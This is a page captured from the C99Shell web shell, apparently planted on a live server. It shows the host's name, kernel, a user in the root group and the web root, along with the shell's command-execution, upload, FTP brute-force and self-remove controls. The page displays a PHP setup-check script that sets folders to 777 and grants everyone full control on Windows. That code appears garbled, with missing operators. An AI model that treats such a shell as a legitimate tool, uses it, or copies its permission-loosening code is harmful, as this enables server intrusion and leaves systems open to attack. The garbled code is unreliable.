!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     sconfig-test.php (3.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php

// Function to convert permissions to human-readable format
function getPermissionString($perms) {
    
$info 'u=';
    
$info .= ($perms 0400) ? 'r' '-';
    
$info .= ($perms 0200) ? 'w' '-';
    
$info .= ($perms 0100) ? 'x' '-';
    
$info .= ', g=';
    
$info .= ($perms 0040) ? 'r' '-';
    
$info .= ($perms 0020) ? 'w' '-';
    
$info .= ($perms 0010) ? 'x' '-';
    
$info .= ', o=';
    
$info .= ($perms 0004) ? 'r' '-';
    
$info .= ($perms 0002) ? 'w' '-';
    
$info .= ($perms 0001) ? 'x' '-';
    return 
$info;
}

// Function to check and set permissions of a folder (cross-platform)
function checkAndSetFolderPermissions($folderPath$requiredPerms) {
    
$folderPerms fileperms($folderPath);

    
// Check if permissions match (considering Windows)
    
if (strtoupper(substr(PHP_OS03)) === 'WIN') {
        
// On Windows, use a different approach (cacls command)
        
$command "cacls \"$folderPath\" /T /E /C /G everyone:F";
        
exec($command);
    } elseif ((
$folderPerms 0777) !== $requiredPerms) {
        
// On Unix-like systems, set permissions using chmod
        
chmod($folderPath$requiredPerms);
    }

    
// Re-check permissions after modification
    
$folderPerms fileperms($folderPath);

    return (
$folderPerms 0777) === $requiredPerms;
}

// Function to check if an extension is loaded
function checkExtensionLoaded($extensionName) {
    return 
extension_loaded($extensionName);
}

// Paths to check
$foldersToCheck = [
    
'resources/lang',
    
'bootstrap/cache',
    
'storage',
];

// Required permissions for folders (777)
$requiredFolderPerms 0777;

// Extensions to check
$extensionsToCheck = [
    
'bcmath',
    
'curl',
    
'dom',
    
'fileinfo',
    
'gd',
    
'imagick',
    
'imap',// gmail get
    
'mbstring',
    
'mcrypt',
    
'mysqlnd',
    
'nd_mysqli',
    
'nd_pdo_mysql',
    
'pdo',
    
'pdo_sqlite',
    
'zip',
];

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>System Configuration Check</title>

    <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.4.1/css/bootstrap.min.css">
    <style>
        table {
            border-collapse: collapse;
            width: 50%;
            margin: 20px;
        }

        table, th, td {
            border: 1px solid #ddd;
            padding: 10px;
            text-align: left;
        }

        th {
            background-color: #f2f2f2;
        }
    </style>
</head>
<body>

    <div class="container">
    <h2>System Configuration Check</h2>

        <table class="table table-striped table-bordered table-hover table-sm">
            <tr>
                <th>Configuration</th>
                <th>Current Status</th>
                <th>Required Status</th>
            </tr>

            <?php foreach ($foldersToCheck as $folderPath): ?>
                <tr>
                    <td><?php echo $folderPath?> Permissions</td>
                    <td><?php echo checkAndSetFolderPermissions($folderPath$requiredFolderPerms) ? 'OK' getPermissionString(fileperms($folderPath)); ?></td>
                    <td>At least 777</td>
                </tr>
            <?php endforeach; ?>

            <?php foreach ($extensionsToCheck as $extensionName): ?>
                <tr>
                    <td><?php echo $extensionName?> Extension</td>
                    <td class="<?php echo checkExtensionLoaded($extensionName) ? 'table-success' 'table-danger'?>"><?php echo checkExtensionLoaded($extensionName) ? 'OK' 'Not OK'?></td>
                    <td>OK</td>
                </tr>
            <?php endforeach; ?>

        </table>
    </div>

</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--